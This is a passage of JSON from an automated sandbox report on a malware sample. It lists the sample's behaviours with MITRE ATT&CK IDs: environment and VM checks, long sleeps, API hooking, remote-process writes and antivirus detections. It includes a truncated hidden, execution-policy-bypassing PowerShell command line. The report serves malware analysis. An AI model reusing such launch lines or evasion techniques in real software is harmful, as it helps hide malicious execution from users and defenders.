API typically used to open an existing named mutex object","description":"\".exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00002952)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve is X64 architecture","description":"\".exe\" called \"IsWow64Process\" with parameter \"2952\" - (UID: 00000000-00002952)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"cmd.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003700)\n \".exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00002952)\n \".exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002952)\n \".exe\" called \"GetLocaleInfoW\" (UID: 00000000-00002952)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00002952-50094-68-225D79F1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.DLL at 00000000-00002952-50094-63-225D6805","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002952-50094-68-225D79F1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002952-50094-68-225D79F1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00002952-50094-27-225D7F84\n GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00002952-50094-7-225D8345","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retreive system language (API string)","description":"Observed api:\"GetSystemDefaultUILanguage\"[Source: 00000000-00002952.00000000.67611.225D1000.00000020.mdmp]\n Observed api:\"GetUserDefaultUILanguage\"[Source: 00000000-00002952.00000000.67611.225D1000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetSystemDefaultUILanguage@KERNEL32.DLL at 00000000-00002952-50094-7-225D8345","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Observed API string:\"GetStartupInfo\" [Source: 00000000-00002952.00000000.67611.225D1000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\".exe\" queries volume information of \"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll\" at 00000000-00002952-0000010C-4175439\n \".exe\" queries volume information of \"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll\" at 00000000-00002952-0000010C-4175847\n \".exe\" queries volume information of \"C:\\\" at 00000000-00002952-0000010C-5640268\n \".exe\" queries volume information of \"C:\\share\" at 00000000-00002952-0000010C-5643995\n \".exe\" queries volume information of \"%WINDIR%\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll\" at 00000000-00002952-0000010C-5747808\n \".exe\" queries volume information of \"%WINDIR%\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll\" at 00000000-00002952-0000010C-5748196","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\".exe\" queries volume information of \"C:\\\" at 00000000-00002952-0000010C-5640268","origin":"API Call","mitre_attack_id":"T1120","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\".exe\" sleeping for \"1566804069\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\".exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations (UID: 00000000-00002952)\n \".exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\(UID: 00000000-00002952)","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"cmd.exe\" called \"CreateProcessW\" with parameter \"\"9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.exe\" -noprofile -windowstyle hidden -ep bypass -command $fl\" - (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"powershell.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00002952-48207-1-225D7363","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00002952-50094-15-225D7DB8\n LoadLibraryExW@KERNEL32.DLL at 00000000-00002952-50094-7-225D8345","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SOFTWARE\\Microsoft\\PowerShell\"\n \"SOFTWARE\\Microsoft\\PowerShell\\%1!ls!\\PowerShellEngine\"\n \"SOFTWARE\\Microsoft\\PowerShell\\%1!ls!\"\n \"Software\\Microsoft\\Active Setup\\Installed Components\\{89820200-ECBD-11CF-8B85-00AA005B4383}\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"_SHuassist.mtx\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Drops or executes a batch file","description":"$25","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\".exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\9f895c66454577eff9c77442d0c84f71\\mscorlib.ni.dll\" at 681D0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$26","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$27","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Reads configuration files","description":"\".exe\" read file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \".exe\" read file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \".exe\" read file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \".exe\" with commandline \"-noprofile -windowstyle hidden -ep bypass -command $flLnL = [Sys ...\" (UID: 00000000-00002952)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \".exe\" with commandline \"-noprofile -windowstyle hidden -ep bypass -command $flLnL = [Sys ...\" (UID: 00000000-00002952)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$28","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files","description":"$29","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\".exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00002952)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"cmd.exe\" called \"FindFirstFileW\" (UID: 00000000-00003700)\n \"cmd.exe\" called \"FindNextFileW\" (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\".exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch.2952.907388546\" with delete access\n \".exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch.2952.907388546\" with delete access\n \".exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\SECURITY.CONFIG.CCH.2952.907388546\" with delete access\n \".exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\ENTERPRISESEC.CONFIG.CCH.2952.907388546\" with delete access\n \".exe\" opened \"%APPDATA%\\Microsoft\\CLR SECURITY CONFIG\\V2.0.50727.312\\SECURITY.CONFIG.CCH.2952.907388562\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"System Security","name":"Adjusts debug privileges","description":"\".exe\" adjusted SE_DEBUG_PRIVILEGE","origin":"API Call","relevance":3,"id":"api-28","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\".exe\" called an API \"AdjustTokenPrivileges\"","origin":"API Call","mitre_attack_id":"T1134","relevance":5,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"ShellExecuteA@SHELL32.DLL\" in \".exe\"\n \"ShellExecuteW@SHELL32.DLL\" in \".exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\".exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\".exe\" wrote bytes \"96e87719\" to virtual address \"0x68CD1FFC\" (part of module \"MSCORWKS.DLL\")\n \".exe\" wrote bytes \"d055fd75647306760000000051c1187794981877ee9c187775dc1a77273e1a770fb31e7700000000acdcc3771bf7c377c108c577c0d9c377152ec37736dac377d5d9c37730c6c377e0c2c37742c6c3771bc6c37786c4c37772c6c37700000000\" to virtual address \"0x6EA21000\" (part of module \"SHFOLDER.DLL\")\n \".exe\" wrote bytes \"e93b0301f7\" to virtual address \"0x76198790\" (\"ShellExecuteA@SHELL32.DLL\")\n \".exe\" wrote bytes \"e9e25324f7\" to virtual address \"0x75F63C29\" (\"ShellExecuteW@SHELL32.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":5,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"Found indicator in commandline: \"system.security.cryptography\" (Source: \".exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle for the specified module","description":"GetModuleHandleW@KERNEL32.DLL at 00000000-00002952-50094-62-225D65CE\n GetModuleHandleA@KERNEL32.DLL at 00000000-00002952-50094-1012-225D79B4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.DLL at 00000000-00002952-50094-60-225D6884","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"19/60 Antivirus vendors marked sample as malicious (31% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceExW@KERNEL32.DLL at 00000000-00002952-50094-14-225D7D10\n LoadResource@KERNEL32.DLL at 00000000-00002952-50094-13-225D7D31","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"cmd.exe\" allocated memory in \"\\Device\\MountPointManager\"","origin":"API Call","mitre_attack_id":"T1055.012","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.exe\" (Handle: 128)\n \"cmd.exe\" wrote 52 bytes to a remote process \"C:\\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.exe\" (Handle: 128)\n \"cmd.exe\" wrote 4 bytes to a remote process \"C:\\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat.exe\" (Handle: 128)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection","description":"CorBindToRuntimeEx@MSCOREE.DLL at 00000000-00002952-50094-5-225D6070","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1571","relevance":5,"id":"stream-85","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains ability to flush the cache line","description":"clflush byte ptr [85CBD303h] at 00000000-00002952-50094-1424-225EC44B","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-60","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Found suspicious strings on the commandline","description":"Found indicator in commandline: \"system.security.cryptography\" (Source: \".exe\")","origin":"File/Memory","relevance":10,"id":"string-58","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"19/60 Antivirus vendors marked sample as malicious (31% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve SID domain name","description":"\"kk.bat.exe\" called \"LookupAccountSidW\" with 